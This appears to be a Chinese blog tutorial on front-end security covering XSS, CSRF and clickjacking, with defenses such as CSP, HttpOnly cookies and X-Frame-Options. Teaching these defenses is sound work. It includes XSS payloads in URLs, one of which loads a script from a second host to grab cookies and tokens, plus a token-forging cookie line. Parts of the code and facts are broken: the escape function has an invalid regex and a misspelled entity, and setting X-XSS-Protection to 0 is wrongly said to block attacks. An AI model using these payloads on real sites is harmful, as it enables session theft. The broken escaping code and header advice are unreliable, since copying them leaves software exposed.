前端安全《一》

xss 攻击：

　　XSS (Cross-Site Scripting)，跨站脚本攻击，因为缩写和 CSS重叠，所以只能叫 XSS。跨站脚本攻击是指通过存在安全漏洞的Web⽹站注册⽤户的浏览器内运⾏⾮法的⾮本站点HTML标签或JavaScript进⾏的⼀种攻击。

　　就好比你的一些输入框没有做操作，我输入一段脚本，这个时候你表示这段文字正常，你就存到库里了，当其他地方用到时候，调取该库里数据时，数据返回到界面这个时候会执行你存的代码，执行代码，这个时候你的网站信息可能会被盗取。

造成的影响：

　　利用虚拟输入表单骗取用户个人信息。
　　利用脚本窃取用户的cookie值，被害这在不知情的情况下，帮助攻击者发送恶意请求。
　　显示伪造的文章或图片

例如：

　　http://locahost:3000/?form = <script>alert(1111)</script>

　　http://localhost:3000/?from=<script src="http://localhost:4000/demo.js"></script>(此时获取cookie,token值)

document.cookie = "token=472f2cd544f7ca9a386d603a7a381d4f7eda45df59b0db6c770b0142926b2d45"

(伪造token入侵)

Xss 防御：

　 ejs 转译：

    <% code %> 用于执行其中的javascript代码
　  <% =code %> 对code 进行html转译
　   <%- code %>将不会进行转译

HEAD:

　　ctx.set("X-XSS-Protection", 0) // 禁止 xss 过滤

　　http://locahost:3000/?form = <script>alert(1111)</script> 这种就可拦截

　　1 ：启⽤XSS过滤（通常浏览器是默认的）。如果检测到跨站脚本攻击，浏览器将清除⻚⾯（删除不安全的部分）。

1：mode=block 启⽤XSS过滤。如果检测到攻击，浏览器将不会清除⻚⾯，⽽是阻⽌⻚⾯加载。

1：report= (Chromium only)启⽤XSS过滤。如果检测到跨站脚本攻击，浏览器将清除⻚⾯并使⽤CSP report-uri 指令的功能发送违规报告。

　　CSP:

　　附加安全层，用于检测缓解某些类型的攻击，包括跨站脚本和数据注入等攻击，这些攻击用于事项数据窃取到网站破坏或作为恶意软件等用途。

    // 只允许加载本站资源
　　Content-Security-Policy: default-src 'self'
　　// 只允许加载 HTTPS 协议图⽚
　　Content-Security-Policy: img-src https://*
　　// 不允许加载任何来源框架
　　Content-Security-Policy: child-src 'none'

　　转译字符：

　　对于输入的永远改成信任字符，进行转译，对于引号、斜杠、进行转译。

function escape(str) {
 　　str = str.replace(/&/g, '&amp;')
 　　str = str.replace(/</g, '&lt;')
 　　str = str.replace(/>/g, '&gt;')
 　　str = str.replace(/"/g, '&quto;')
 　　str = str.replace(/'/g, '&#39;')
 　　str = str.replace(/`/g, '&#96;')
 　　str = str.replace(///g, '&#x2F;')
  　　return str
 }

　　HttpOnlyCookie:

　　这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应⽤程序在设置cookie时，将其属性设为HttpOnly，就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取，保护⽤户cookie信息。

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

CSRF 攻击：

CSRF(Cross Site Request Forgery)，即跨站请求伪造，是⼀种常⻅的Web攻击，它利⽤⽤户已登

录的身份，在⽤户毫不知情的情况下，以⽤户的名义完成⾮法操作。

造成的影响：

⽤户已经登录了站点 A，并在本地记录了 cookie
在⽤户没有登出站点 A 的情况下（也就是 cookie ⽣效的情况下），访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。
站点 A 没有做任何 CSRF 防御

　　就好比你自己登陆了下自己的网站，这个时候你好奇点击了其他网站的一张图片，这个时候你的cookie 是存在的，你的token也是有的，这个时候别人就能模拟的身份做一些事情。

CSRF 防御：

禁止第三方网站携带Cookie

Referer Check - Https不发送referer

app.use(async (ctx, next) => {
     await next()
     const referer = ctx.request.header.referer
     console.log('Referer:', referer)
})

验证码

点击劫持

　　　点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃⼰的⽹⻚中，并将 iframe 设置为透明，在⻚⾯中透出⼀个按钮诱导⽤户点击。

　　可以理解成就是钓鱼网站，就是你提交的并非是你自己的网址。

点击劫持防御

　　1、X-FRAME-OPTIONS

　　　　X-FRAME-OPTIONS 是⼀个 HTTP 响应头，在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头就是为了防御⽤ iframe 嵌套的点击劫持攻击。

　　　　该响应头有三个值可选，分别是

　　　　　　DENY，表示⻚⾯不允许通过 iframe 的⽅式展示

　　　　　　SAMEORIGIN，表示⻚⾯可以在相同域名下通过 iframe 的⽅式展示

　　　　　　ALLOW-FROM，表示⻚⾯可以在指定来源的 iframe 中展示

ctx.set('X-FRAME-OPTIONS', 'DENY')

　　2、js方式

<head>
    <style id="click-jack">
         html {
             display: none !important;
         }
     </style>
</head>
<body>
     <script>
         if (self == top) {
             var style = document.getElementById('click-jack')
             document.body.removeChild(style)
         } else {
             top.location = self.location
         }
 </script>
</body

以上代码的作⽤就是当通过 iframe 的⽅式加载⻚⾯时，攻击者的⽹⻚直接不显示所有内容了。

总结：

　　基本上前端攻击就这几个，前端其实做到到的绝对安全暂时没有那么绝对，只是相对安全。但是前端防护还是要做的，我们项目中曾经有个漏洞，Xss 攻击可以直接提交到后台，但是后台也没有做屏蔽，倒是还好我们及时发现做了漏洞补充。

　　欢迎您点赞关注。

前端安全 《一》

前端安全《一》